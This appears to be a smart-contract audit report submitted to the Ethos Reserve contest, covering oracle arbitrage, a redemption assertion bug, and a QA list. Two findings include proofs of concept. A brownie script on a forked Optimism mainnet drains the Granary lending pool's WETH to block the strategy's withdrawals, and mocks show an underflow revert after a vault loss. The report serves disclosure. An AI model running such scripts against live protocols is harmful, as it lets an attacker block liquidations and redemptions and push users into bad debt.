Ethos Reserve contest - GalloDaSballo's results

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/LUSDToken.sol#L160-L181

Vulnerability details

Impact

upgradeProtocol is meant to enable a new version of the protocol while retaining the same LUSD token

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/LUSDToken.sol#L160-L181

    function upgradeProtocol(

In case of a migration, with the same collateral, but a new oracle, the system could open up to arbitrage between the two oracles via redemptions, allowing to extract value from the difference between the 2 prices.

This is because each oracle (e.g. chainlink), can change it's price based on two aspects:

• Hearbeat -> Maximum amount of time before the feed is updated
• Threshold -> % change at which the price is changed no matter what

In case of the oracle being different, for example having a different heartbeat setting, or simply having a different cadence (e.g. one refreshes at noon the other at 3 pm), the difference can open up to Arbitrage Strategies that can potentially increase risk to the system

Arbitrage through Redemptions Explanation

The fact that that older version of the protocol can burn means they could allow for redemption arbitrage, leaking value.

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/LUSDToken.sol#L366-L367

        // old versions of the protocol may still burn

Burning of tokens can be performed via two operations:

• Repayment
• Redemptions

Repayment seems to be safest options and it's hard to imagine a scenario for exploit.

If the oracle offers a different price for redemptions, that can crate an incentive to go redeem against the older system, and since the older system cannot create new Troves, the CR for it could suffer.

The way in which this get's problematic is if there's positions that risk becoming under-collateralized in the old system and the debt from those positions is used to redeem against better collateralized positions on the new migrated system

This would create an economic incentive to leave the bad debt in older system as the new one is offering a more profitable opportunity

Additional Resources

An example of desynch is what happened to a Gearbox Ninja, that got liquidated due to hearbeat differences

https://twitter.com/gearbox_intern/status/1587957233605918721

Remediation Steps

It will be best to ensure that a collateral is either in the old system, or on the new system, and if the same collateral is in both version, I believe the Oracle must be the same as to avoid inconsistent pricing.

It may also be best to change the migration pattern to one based on Zaps, which will offer good UX but reduce risk to the LUSD peg dynamic

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L239

Vulnerability details

Impact

If the vault is withdrawing from the strategy and the lendingPool doesn't have enough amount to withdraw, due to excessive borrowing, withdrawals will stop working.

This will make _rebalance revert, which in turn will cause:

• Inability to Redeem
• Inability to Liquidate

Both of those functions are meant to reduce risk to the system, meaning that in cases of reverts, the system may forcefully end up in bad-debt as liquidators and redeemers will be unable to perform their function.

See this quote:

As U gets closer to 100%, the capital becomes scarcer until no liquidity is left at U=100%. This situation can be problematic if depositors wish to withdraw their liquidity, but no funds are available.

From this article

Additional Note

I sent a High Exploiting this: Denial of liquidations and Redemptions by overborrowing

Consider keeping them separate as the "exploit vs no exploit findings"

Remediation

Allowing to draw from the capital available can offer partial relief

However if the capital to withdraw is high enough, then the system will eventually start reverting as you cannot assume that the pool can be withdrawn from at all times

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L239 https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperStrategyGranarySupplyOnly.sol#L200

Vulnerability details

Impact

Liquidations and Redemptions can be prevented by making ActivePool._rebalance revert by borrowing all collateral from AAVEs lendingPool.

The ActivePool will invest in the Vault, which will use the strategy to invest in the lending pool.

When withdrawing collateral, by Closing CDPs, Redeeming or Liquidating, _rebalance will be called.

In most logical cases (high capital efficiency), this will trigger a withdrawal from the Strategy

Which will trigger a withdrawawal from the LendingPool,

An attacker can deny this operation by borrowing all reserves from AAVE.

This will prevent all Liquidations, Redemptions as well as withdrawals, at will of the attacker.

This can be done to force the protocol to enter Recovery Mode, force re-absorptions and it can be pushed as far as to trigger bad debt.

Note that the attack can be performed maliciously without the need for a front-run, a sandwich (front-run + back-run) will just make it less costly (less interest paid) for the attacker but is not a way to prevent the attack.

Preamble to the POC

Any time funds are pulled from the ActivePool, _rebalance is called.

We know that if a withdrawal is sizeable enough, _rebalance will trigger Strategy._withdraw which will attempt to withdraw from the lending pool.

The goal of the POC then is to show how we can make it impossible to perform a withdrawal, guaranteeing a revert on all calls to _rebalance which consequently will brick Redemptions and Liquidations

POC

The POC is coded in brownie, I have setup a MockFile to be able to fork optimism, with the final addresses hardcoded in the strategy (Granary).

Goal of the POC

The goal of the POC is to demonstrate that withdrawals from the pool can be denied.

This shows how we can trigger a revert against LendingPool.withdraw which we know will cause _rebalance to revert as well

Coded POC

The following mock allows us to interact with the forked contracts

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;

contract LendingPool {
  function deposit(
    address asset,
    uint256 amount,
    address onBehalfOf,
    uint16 referralCode
  ) external {}

  function borrow(
    address asset,
    uint256 amount,
    uint256 interestRateMode,
    uint16 referralCode,
    address onBehalfOf
  ) external {}

  function withdraw(
    address asset,
    uint256 amount,
    address to
  ) external {}
}

We can then fork optimism mainnet

brownie console --network optimism-main-fork

Run the following commands to show the attack

## Setup addresses
lp = LendingPool.at("0x8FD4aF47E4E63d1D2D45582c3286b4BD9Bb95DfE")
a_token = interface.ERC20("0xfF94cc8E2c4B17e3CC65d7B83c7e8c643030D936")
weth = interface.ERC20("0x4200000000000000000000000000000000000006")
usdc = interface.ERC20("0x7F5c764cBc14f9669B88837ca1490cCa17c31607")

## Setup Actors
weth_whale = accounts.at("0xe50fa9b3c56ffb159cb0fca61f5c9d750e8128c8", force=True)
usdc_whale = accounts.at("0x625e7708f30ca75bfd92586e17077590c60eb4cd", force=True)

strategy = a[0]
exploiter = a[1]

## Fund Strategy with WETH
weth.transfer(strategy, 20e18, {"from": weth_whale})

## Strategy Deposits WETH
weth.approve(lp, 20e18, {"from": strategy})
lp.deposit(weth, 20e18, strategy, 0, {"from": strategy})


## Fund exploiter with USDC, they will borrow WETH
usdc.transfer(exploiter, usdc.balanceOf(usdc_whale), {"from": usdc_whale})

## Setup collateral so we can dry up WETH
usdc.approve(lp, usdc.balanceOf(exploiter), {"from": exploiter})
lp.deposit(usdc, usdc.balanceOf(exploiter), exploiter, 0, {"from": exploiter})

## Borrow Max, so no WETH is borrowable
to_borrow = weth.balanceOf(a_token)
lp.borrow(weth, to_borrow, 2, 0, exploiter, {"from": exploiter})

print(weth.balanceOf(a_token))
0 ## No weth left, next withdrawal will revert

## Strategy will not be able withdraw
to_withdraw = a_token.balanceOf(strategy)
assert to_withdraw > 0

## REVERTS HERE
lp.withdraw(weth, to_withdraw, strategy, {"from": strategy})

>>> Transaction sent: 0x2d129abc6f69d74db7567de54d9932ac406d2212c350ff7f16e66d3fb034e036
  Gas price: 0.0 gwei   Gas limit: 20000000   Nonce: 3
  LendingPool.withdraw confirmed (SafeMath: subtraction overflow)   Block: 79015780   Gas used: 138952 (0.69%)

Any time the Strategy needs to withdraw from the pool, because of _rebalance that withdrawal can be denied, which will consequently prevent Collateral from being pulled, which in turn will prevent Redemptions and Liquidations.

This means a overlevered malicious actor can bring down the peg of the system while preventing whichever liquidation or redemption they want

Remediation Steps

I'm unclear as to a specific remediation, as AAVE, by design, will lend out all of it's reserves, meaning that the amount lent out should not be assumed as liquid.

Theoretically, re-balancing only manually should protect more assets, making the threshold for the attack higher.

However, any asset sent to the lending pool should be assumed illiquid, meaning that those amounts can be prevented from being withdrawable which will prevent Liquidations and Redemptions, potentially causing bad debt

Additional Considerations

If LUSD is liquid enough to be shorted, a goal as you'd assume the token to scale, then the attack not only can be performed against the system unconditionally, but can also become profitable as the attacker can arbitrarily force bad debt for the entire portion of collateral in the lendingPool, profiting from the loss of value

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L251-L252

Vulnerability details

• Vaults are built with the idea that a loss could happen

• The scope mentions that a Loss scenario is in scope

This line, is written with the assumption that sharesToAssets will always be greater than or equal to currentAllocated

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L251-L252

        vars.profit = vars.sharesToAssets.sub(vars.currentAllocated);

This is not the case as the Strategy MAY incur a loss.

In such cases, _rebalance on the ActivePool will not work until the subtraction stops underflowing vars.sharesToAssets.sub(vars.currentAllocated); will revert if any loss (even 1 wei) has happened.

POC

When a loss happens, the sharesToAssets will decrease.

Because vars.currentAllocated tracks the amount deposited in the vault, this value will necessarily be greater than the sharesToAsset if any loss happened.

In that case this line will revert: vars.profit = vars.sharesToAssets.sub(vars.currentAllocated);

In the code shown, a loss could happen if the LendingPool has accounting errors

For the in-scope codebase a loss could happen as a consequence of slashing or restructuring due to bad debt incurred by borrowers

Coded POC

The following POC was built with brownie

Mocked contract retain the core logic, but are rid of access control and other functions to keep the logic the same but reduce complexity of setup

Setup brownie via brownie console (local environment is fine as I set-up mocks to make it easy)

## Setup tokens
token = MockToken.deploy({"from": a[0]})

## Deploy Vault
vault = ReaperVaultV2.deploy(token, {"from": a[0]})

## Deploy ActivePool
pool = MockActivePool.deploy(token, 2000, vault, 1, {"from": a[0]})

## Add to Active
token.approve(pool, 1e18, {"from": a[0]})
pool.depositColl(1e18, {"from": a[0]})

## Rebalance to invest
pool.manualRebalance(token, 0, {"from": a[0]})

## 20% of tokens are in the vault
print(token.balanceOf(vault))
200000000000000000

## Trigger loss to vault
vault.triggerLoss(1e17, {"from": a[0]})
## Confirm the loss has happened
print(vault.balance())
100000000000000000

## Now that a loss happened, any rebalance will revert
pool.manualRebalance(token, 1, {"from": a[0]})
Transaction sent: 0x798e759783ab59dda9c294178859fec5519179a2c31b89abbfea56bd7284b0bc
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 8
  MockActivePool.manualRebalance confirmed (Integer overflow)   Block: 9   Gas used: 32821 (0.27%)

<Transaction '0x798e759783ab59dda9c294178859fec5519179a2c31b89abbfea56bd7284b0bc'>
pool.manualRebalance(token, 100, {"from": a[0]})
Transaction sent: 0x0c41ec1b74a05df6c7101522931cda6ba30139358ec239f014777d7e7e992563
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 9
  MockActivePool.manualRebalance confirmed (Integer overflow)   Block: 10   Gas used: 32821 (0.27%)

<Transaction '0x0c41ec1b74a05df6c7101522931cda6ba30139358ec239f014777d7e7e992563'>

## That's because the loss has been registered by the Vault
print(vault.convertToAssets(1e17))
50000000000000000

## But not by the Pool, triggering a revert at this line
> vars.profit = vars.sharesToAssets.sub(vars.currentAllocated);

Mocks Used

ActivePool.sol

// SPDX-License-Identifier: BUSL-1.1

pragma solidity ^0.8.0;

import {ReaperVaultV2} from "./ReaperVaultV2.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";


contract MockActivePool {
    using SafeMath for uint256;


    address immutable collateral;

    mapping(address => uint256) public collAmount;
    mapping(address => uint256) public yieldingPercentage; // collateral => % to use for yield farming (in BPS, <= 10k)
    mapping(address => uint256) public yieldingAmount; // collateral => actual wei amount being used for yield farming
    mapping(address => address) public yieldGenerator; // collateral => corresponding ERC4626 vault
    mapping(address => uint256) public yieldClaimThreshold; // collateral => minimum wei amount of yield to claim and redistribute

    uint256 public yieldingPercentageDrift = 100; // rebalance iff % is off by more than 100 BPS

    // Yield distribution params, must add up to 10k
    uint256 public yieldSplitTreasury = 20_00; // amount of yield to direct to treasury in BPS
    uint256 public yieldSplitSP = 40_00; // amount of yield to direct to stability pool in BPS
    uint256 public yieldSplitStaking = 40_00; // amount of yield to direct to OATH Stakers in BPS

    // Mock addresses, unused
    address public treasuryAddress = address(1);
    address public stabilityPoolAddress = address(2);
    address public lqtyStakingAddress = address(3);

    constructor(
        address _collateral,
        uint256 _yieldingPercentage,
        address _yieldGenerator,
        uint256 _yieldClaimThreshold
    ) {
        collateral = _collateral;
        yieldingPercentage[_collateral] = _yieldingPercentage;
        yieldGenerator[_collateral] = _yieldGenerator;
        yieldClaimThreshold[_collateral] = _yieldClaimThreshold;
    }

    function depositColl(uint256 amount) external {
      ERC20(collateral).transferFrom(msg.sender, address(this), amount);
      collAmount[collateral] += amount;
    }

    function manualRebalance(address _collateral, uint256 _simulatedAmountLeavingPool) external {
        _rebalance(_collateral, _simulatedAmountLeavingPool);
    }

    struct LocalVariables_rebalance {
        uint256 currentAllocated;
        ReaperVaultV2 yieldGenerator;
        uint256 ownedShares;
        uint256 sharesToAssets;
        uint256 profit;
        uint256 finalBalance;
        uint256 percentOfFinalBal;
        uint256 yieldingPercentage;
        uint256 toDeposit;
        uint256 toWithdraw;
        uint256 yieldingAmount;
        uint256 finalYieldingAmount;
        int256 netAssetMovement;
        uint256 treasurySplit;
        uint256 stakingSplit;
        uint256 stabilityPoolSplit;
    }

    function _rebalance(address _collateral, uint256 _amountLeavingPool) internal {
        LocalVariables_rebalance memory vars;

        // how much has been allocated as per our internal records?
        vars.currentAllocated = yieldingAmount[_collateral];

        // what is the present value of our shares?
        vars.yieldGenerator = ReaperVaultV2(yieldGenerator[_collateral]);
        vars.ownedShares = vars.yieldGenerator.balanceOf(address(this));
        vars.sharesToAssets = vars.yieldGenerator.convertToAssets(vars.ownedShares);

        // if we have profit that's more than the threshold, record it for withdrawal and redistribution
        vars.profit = vars.sharesToAssets.sub(vars.currentAllocated);
        if (vars.profit < yieldClaimThreshold[_collateral]) {
            vars.profit = 0;
        }

        // what % of the final pool balance would the current allocation be?
        vars.finalBalance = collAmount[_collateral].sub(_amountLeavingPool);
        vars.percentOfFinalBal =
            vars.finalBalance == 0 ? type(uint256).max : vars.currentAllocated.mul(10_000).div(vars.finalBalance);

        // if abs(percentOfFinalBal - yieldingPercentage) > drift, we will need to deposit more or withdraw some
        vars.yieldingPercentage = yieldingPercentage[_collateral];
        vars.finalYieldingAmount = vars.finalBalance.mul(vars.yieldingPercentage).div(10_000);
        vars.yieldingAmount = yieldingAmount[_collateral];
        if (
            vars.percentOfFinalBal > vars.yieldingPercentage
                && vars.percentOfFinalBal.sub(vars.yieldingPercentage) > yieldingPercentageDrift
        ) {
            // we will end up overallocated, withdraw some
            vars.toWithdraw = vars.currentAllocated.sub(vars.finalYieldingAmount);
            vars.yieldingAmount = vars.yieldingAmount.sub(vars.toWithdraw);
            yieldingAmount[_collateral] = vars.yieldingAmount;
        } else if (
            vars.percentOfFinalBal < vars.yieldingPercentage
                && vars.yieldingPercentage.sub(vars.percentOfFinalBal) > yieldingPercentageDrift
        ) {
            // we will end up underallocated, deposit more
            vars.toDeposit = vars.finalYieldingAmount.sub(vars.currentAllocated);
            vars.yieldingAmount = vars.yieldingAmount.add(vars.toDeposit);
            yieldingAmount[_collateral] = vars.yieldingAmount;
        }

        // + means deposit, - means withdraw
        vars.netAssetMovement = int256(vars.toDeposit) - int256(vars.toWithdraw) - int256(vars.profit);
        if (vars.netAssetMovement > 0) {
            ERC20(_collateral).approve(yieldGenerator[_collateral], uint256(vars.netAssetMovement));
            ReaperVaultV2(yieldGenerator[_collateral]).deposit(uint256(vars.netAssetMovement), address(this));
        } else if (vars.netAssetMovement < 0) {
            ReaperVaultV2(yieldGenerator[_collateral]).withdraw(
                uint256(-vars.netAssetMovement), address(this), address(this)
            );
        }

        // if we recorded profit, recalculate it for precision and distribute
        if (vars.profit != 0) {
            // profit is ultimately (coll at hand) + (coll allocated to yield generator) - (recorded total coll Amount in pool)
            vars.profit =
                ERC20(_collateral).balanceOf(address(this)).add(vars.yieldingAmount).sub(collAmount[_collateral]);
            if (vars.profit != 0) {
                // distribute to treasury, staking pool, and stability pool
                vars.treasurySplit = vars.profit.mul(yieldSplitTreasury).div(10_000);
                if (vars.treasurySplit != 0) {
                    ERC20(_collateral).transfer(treasuryAddress, vars.treasurySplit);
                }

                vars.stakingSplit = vars.profit.mul(yieldSplitStaking).div(10_000);
                if (vars.stakingSplit != 0) {
                    ERC20(_collateral).transfer(lqtyStakingAddress, vars.stakingSplit);
                }

                vars.stabilityPoolSplit = vars.profit.sub(vars.treasurySplit.add(vars.stakingSplit));
                if (vars.stabilityPoolSplit != 0) {
                    ERC20(_collateral).transfer(stabilityPoolAddress, vars.stabilityPoolSplit);
                }
            }
        }
    }
}

ReaperVaultV2.sol

// SPDX-License-Identifier: BUSL-1.1

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";

contract ReaperVaultV2 is ERC20, AccessControlEnumerable {
    uint256 totalAllocated = 0;

    IERC20Metadata public immutable token;

    constructor(address _token) ERC20("test", "TEST") {
        token = IERC20Metadata(_token);
    }

    function triggerLoss(uint256 amt) external {
        token.transfer(address(1337), amt);
    }

    function deposit(uint256 assets, address receiver) external returns (uint256 shares) {
        shares = _deposit(assets, receiver);
    }

    function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares) {
        revert("No op");
    }

    function convertToAssets(uint256 shares) public view returns (uint256 assets) {
        if (totalSupply() == 0) return shares;
        return (shares * _freeFunds()) / totalSupply();
    }

    function _deposit(uint256 _amount, address _receiver) internal returns (uint256 shares) {
        require(_amount != 0, "Invalid amount");
        uint256 pool = balance();

        uint256 freeFunds = _freeFunds();
        uint256 balBefore = token.balanceOf(address(this));
        token.transferFrom(msg.sender, address(this), _amount);
        uint256 balAfter = token.balanceOf(address(this));
        _amount = balAfter - balBefore;
        if (totalSupply() == 0) {
            shares = _amount;
        } else {
            shares = (_amount * totalSupply()) / freeFunds; // use "freeFunds" instead of "pool"
        }
        _mint(_receiver, shares);
    }

    function balance() public view returns (uint256) {
        return token.balanceOf(address(this)) + totalAllocated;
    }

    // No harvest, so it's not going to make a difference
    function _freeFunds() public view returns (uint256) {
        return balance();
    }
}

MockToken.sol

// SPDX-License-Identifier: BUSL-1.1

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockToken is ERC20 {
  constructor() ERC20("Mock", "Mock"){
    _mint(msg.sender, 1000e18);
  }
}

Remediation Steps

A slashing mechanism would need to be added to account for a loss.

This should be fairly involved as to not create gotchas.

Intuitively, I believe, that the funds in the activePool would need to be mapped against the funds invested in Vaults as to reconcile the "deposited value" with the "slashed value".

Alternatively, for the time being, a "ShortFall" fund could be instituted, fully knowing that if something goes wrong, the fund will have to cover the loss

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/RedemptionHelper.sol#L126-L128

Vulnerability details

Impact

The function redeemCollateral in RedemptionHelper checks that the caller doesn't have a higher balance than the totalDebt from the chosen _collateral

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/RedemptionHelper.sol#L126-L128

       totals.totalLUSDSupplyAtStart = getEntireSystemDebt(_collateral);
        // Confirm redeemer's balance is less than total LUSD supply
        assert(lusdToken.balanceOf(_redeemer) <= totals.totalLUSDSupplyAtStart);

However, because the system is multi-collateral, it is possible for:

lusdToken.balanceOf(_redeemer) to be greater than getEntireSystemDebt(_collateral);

This is a mistake in the logic, as the invariant should be checking for all system collaterals

Proof of Concept

Imagine a scenario with two collaterals, one with 10 debt and another with 100 A: 10 debt, you own 0 B: 100 debt, you own 100 (perhaps bought from AMM or minted yourself)

If you tried to redeem the 10 A, you'd get a revert as the check would compare

yourbalance = 100 <= 10

Which will revert.

Additional considerations

This may also create an opportunity to grief a redeemer, if they were holding a lot of the total debt, a marginal donation may be sent in order to trigger a revert.

Recommended Mitigation Steps

Either change the check to ensure that the debt paid is less than the total

Or sum up all of the debts for all collaterals and check against that

Executive Summary

The following QA Report is an aggregate of smaller reports divided by contract / topic

The following criteria are used for suggested severity

L - Low Severity -> Some risk

R - Refactoring -> Suggested changes for improvements

NC - Non-Critical / Informational -> Minor suggestions

List of all findings

• 1. Vault
  • 1.1. L - Strategy doesn't have inCaseTokensGetStuck
  • 1.2. L - Deposit / Withdraw use FOT compatible math, but withdrawing from strategy doesn't
  • 1.3. L - Roles for Vault and Strat are set separately
  • 1.4. L - MaxLoss hardcoded means the contract will revert if any loss bigger than BPS happens
  • 1.5. R - Can refactor to simplify
  • 1.6. R - Track stats via Ninja
  • 1.7. R - Track harvest health via Health Check (by Yearn)
  • 1.8. R - Consider forking Yearn.Watch
  • 1.9. R - PERCENT_DIVISOR is more a BPS_DIVISOR
  • 1.10. R - Math for issuing shares can be turned into an internal function
  • 1.11. R - License may be incompatible with source code
  • 1.12. R - Performance Fee is Paid Out to Treasury Twice
  • 1.13. NC - _addLiquidityVelo is unused
  • 1.14. L - Steps not validated
  • 1.15. R - Equivalent to aToken.balanceOf(this)
  • 1.16. R - Amount non-zero is known
• 2. Redemption Helper
  • 2.1. L - Griefing redemptions for a specific collateral by redeeming the other one
    • 2.1.1. Impact
    • 2.1.2. POC
    • 2.1.3. Mitigation Steps
  • 2.2. R - Could revert earlier if found is address(0)
• 3. DefaultPool
  • 3.1. R: cannot be front-run
• 4. CollateralConfig
  • 4.1. L - No check for collateral existence
  • 4.2. L - 150% CCR can be either too low or too high
  • 4.3. R - No check unique
• 5. BorrowerOperations
  • 5.1. R - Partially non-CEI conformant
  • 5.2. R - Function is called withdraw, but it issues new tokens
  • 5.3. R - Can XOR
• 6. ActivePool
  • 6.1. R - Using hardcoded value instead of a constant
  • 6.2. R - Approve is fine as it cannot be front-run
  • 6.3. NC - Old comment around borrowing fee
• 7. CommunityIssuance
  • 7.1. L - Right after deployment this check will be true
  • 7.2. R - CEI Confirmity
  • 7.3. NC - Comments looks out of place
  • 7.4. NC - Capitalization looks off
• 8. Price Feed
  • 8.1. L - The Tellor price may leak value
  • 8.2. L - Try Catch can still revert due to contract check
  • 8.3. L - Comment different from constants
• 9. NC - Gas cap at around 400 collaterals

1. <a name='Vault'></a>Vault

1.1. <a name='L-StrategydoesnthaveinCaseTokensGetStuck'></a>L - Strategy doesn't have inCaseTokensGetStuck

Most Yield Farming Strategies interact with other protocols and for this reason they are subject to airdrops.

Without a inCaseTokensGetStuck these extra tokens would not be claimable and would be lost forever

1.2. <a name='L-DepositWithdrawuseFOTcompatiblemathbutwithdrawingfromstrategydoesnt'></a>L - Deposit / Withdraw use FOT compatible math, but withdrawing from strategy doesn't

While some parts of the code seem to be written to support FeeOnTransfer Tokens, other parts do not, which may cause accounting issues

1.3. <a name='L-RolesforVaultandStrataresetseparately'></a>L - Roles for Vault and Strat are set separately

While a vault can have multiple strategies

A strategy can only ever be used with one vault

For this reason it may be best to have a single set of Role Management Logic, in the Vault and have the strategy ask the vault rather than duplicating storage values, which may desynch

1.4. <a name='L-MaxLosshardcodedmeansthecontractwillrevertifanylossbiggerthanBPShappens'></a>L - MaxLoss hardcoded means the contract will revert if any loss bigger than BPS happens

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L55-L56

    uint256 public withdrawMaxLoss = 1;

Due to the logic handling of losses, and because of the value being hardcoded, the Strategy may be unable to withdraw until the value is changed.

1.5. <a name='R-Canrefactortosimplify'></a>R - Can refactor to simplify

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/mixins/ReaperAccessControl.sol#L21-L45

    function _atLeastRole(bytes32 _role) internal view {
        bytes32[] memory cascadingAccessRoles = _cascadingAccessRoles();
        uint256 numRoles = cascadingAccessRoles.length;
        bool specifiedRoleFound = false;
        bool senderHighestRoleFound = false;

        // {_role} must be found in the {cascadingAccessRoles} array.
        // Also, msg.sender's highest role index <= specified role index.
        for (uint256 i = 0; i < numRoles; i = i.uncheckedInc()) {
            // If the highest was not found and they have a role that is same or higher
            if (!senderHighestRoleFound && _hasRole(cascadingAccessRoles[i], msg.sender)) {
                senderHighestRoleFound = true;
            }
            // If we are at the this role part of the loop
            // E.g. we may or may have not found it here
            if (_role == cascadingAccessRoles[i]) {
                specifiedRoleFound = true;
                break;
            }
        }

        // require(senderHighestRoleFound)
        require(specifiedRoleFound && senderHighestRoleFound, "Unauthorized access");
    }

1.6. <a name='R-TrackstatsviaNinja'></a>R - Track stats via Ninja

By adding a return value via a struct of the form:

struct TokenAmount {
    address token,
    uint256 amount
}

You can track the return value from harvest on a block by block basis, allowing for better monitoring

An example of the dashboard we built: https://badger-ninja.vercel.app/vault/ethereum/0xBA485b556399123261a5F9c95d413B4f93107407

1.7. <a name='R-TrackharvesthealthviaHealthCheckbyYearn'></a>R - Track harvest health via Health Check (by Yearn)

Newer versions of Yearn Strategies use an Health Check, this can help prevent an harvest when it could cause a loss.

It may be best to add this to enforce safe operations on-chain.

1.8. <a name='R-ConsiderforkingYearn.Watch'></a>R - Consider forking Yearn.Watch

Because the Vault is heavily inspired by YearnV2, you should be able to fork yearn.watch and have it provide automatic reporting

Site: https://yearn.watch/

1.9. <a name='R-PERCENT_DIVISORismoreaBPS_DIVISOR'></a>R - PERCENT_DIVISOR is more a BPS_DIVISOR

The naming could be changed to reflect the unit used

1.10. <a name='R-Mathforissuingsharescanbeturnedintoaninternalfunction'></a>R - Math for issuing shares can be turned into an internal function

The logic is reused multiple times, the code can be simplified by using an internal pure function

1.11. <a name='R-Licensemaybeincompatiblewithsourcecode'></a>R - License may be incompatible with source code

// SPDX-License-Identifier: BUSL-1.1

Because the code is heavily inspired by YearnV2 and derivatives, a stricter license may not be valid

1.12. <a name='R-PerformanceFeeisPaidOuttoTreasuryTwice'></a>R - Performance Fee is Paid Out to Treasury Twice

-> On Harvest https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L463-L471

    function _chargeFees(address strategy, uint256 gain) internal returns (uint256) {
        uint256 performanceFee = (gain * strategies[strategy].feeBPS) / PERCENT_DIVISOR;
        if (performanceFee != 0) {
            uint256 supply = totalSupply();
            uint256 shares = supply == 0 ? performanceFee : (performanceFee * supply) / _freeFunds();
            _mint(treasury, shares);
        }
        return performanceFee;
    }

-> On Active Pool _rebalance https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L291-L294

                vars.treasurySplit = vars.profit.mul(yieldSplitTreasury).div(10_000);
                if (vars.treasurySplit != 0) {
                    IERC20(_collateral).safeTransfer(treasuryAddress, vars.treasurySplit);
                }

Disclose this to end users, or consider reducing the split / adding a caller incentive for the keeper to pay for harvests

1.13. <a name='NC-_addLiquidityVeloisunused'></a>NC - _addLiquidityVelo is unused

Delete or comment as to why there's an unused function

# Strategy

1.14. <a name='L-Stepsnotvalidated'></a>L - Steps not validated

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperStrategyGranarySupplyOnly.sol#L160-L171

    function setHarvestSteps(address[2][] calldata _newSteps) external {
        _atLeastRole(ADMIN);
        delete steps;

        uint256 numSteps = _newSteps.length;
        for (uint256 i = 0; i < numSteps; i = i.uncheckedInc()) {
            address[2] memory step = _newSteps[i];
            require(step[0] != address(0));
            require(step[1] != address(0));
            steps.push(step);
        }
    }

The steps would allow to sell the want for some other token, which can result in loss of assets as well as loss of yield

A simple check would be to ensure that step[0] is never the want

1.15. <a name='R-EquivalenttoaToken.balanceOfthis'></a>R - Equivalent to aToken.balanceOf(this)

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperStrategyGranarySupplyOnly.sol#L229-L236

    function balanceOfPool() public view returns (uint256) {
        (uint256 supply, , , , , , , , ) = IAaveProtocolDataProvider(DATA_PROVIDER).getUserReserveData(
            address(want),
            address(this)
        );
        return supply;
    }

The main advantage to sticking to aToken is that you'll keep tracking the old implementation in case of changes

1.16. <a name='R-Amountnon-zeroisknown'></a>R - Amount non-zero is known

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperStrategyGranarySupplyOnly.sol#L121-L124

            if (amount == 0) {
                continue;
            }
            _swapVelo(step[0], step[1], amount, VELO_ROUTER);

Can be removed from within _swapVelo

2. <a name='RedemptionHelper'></a>Redemption Helper

2.1. <a name='L-Griefingredemptionsforaspecificcollateralbyredeemingtheotherone'></a>L - Griefing redemptions for a specific collateral by redeeming the other one

2.1.1. <a name='Impact'></a>Impact

An attacker can grief redemptions for a collateral by redeeming some other collateral, as long as they are willing to pay the fee

2.1.2. <a name='POC'></a>POC

Because the fee is the same for all collateral, redeeming on collateral will raise the redemption fee for others, this can be used maliciously to grief others

Because of this, it may be easier to end up getting below MCR, meaning that if the price of the collateral keeps dropping redemptions will be impossible.

Because of this:

• The protocol will receive less than them sum of X partial redemptions
• This can be used to grief the last redeemer

2.1.3. <a name='MitigationSteps'></a>Mitigation Steps

It may be best to have different fees per collateral

Alternatively, the redemption math could be changed to have the caller pay an increasing fee that scales with the amount being redeemed, instead of having the fee grow for the next caller

2.2. <a name='R-Couldrevertearlieriffoundisaddress0'></a>R - Could revert earlier if found is address(0)

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/RedemptionHelper.sol#L153

totals.currentBorrower != address(0)

3. <a name='DefaultPool'></a>DefaultPool

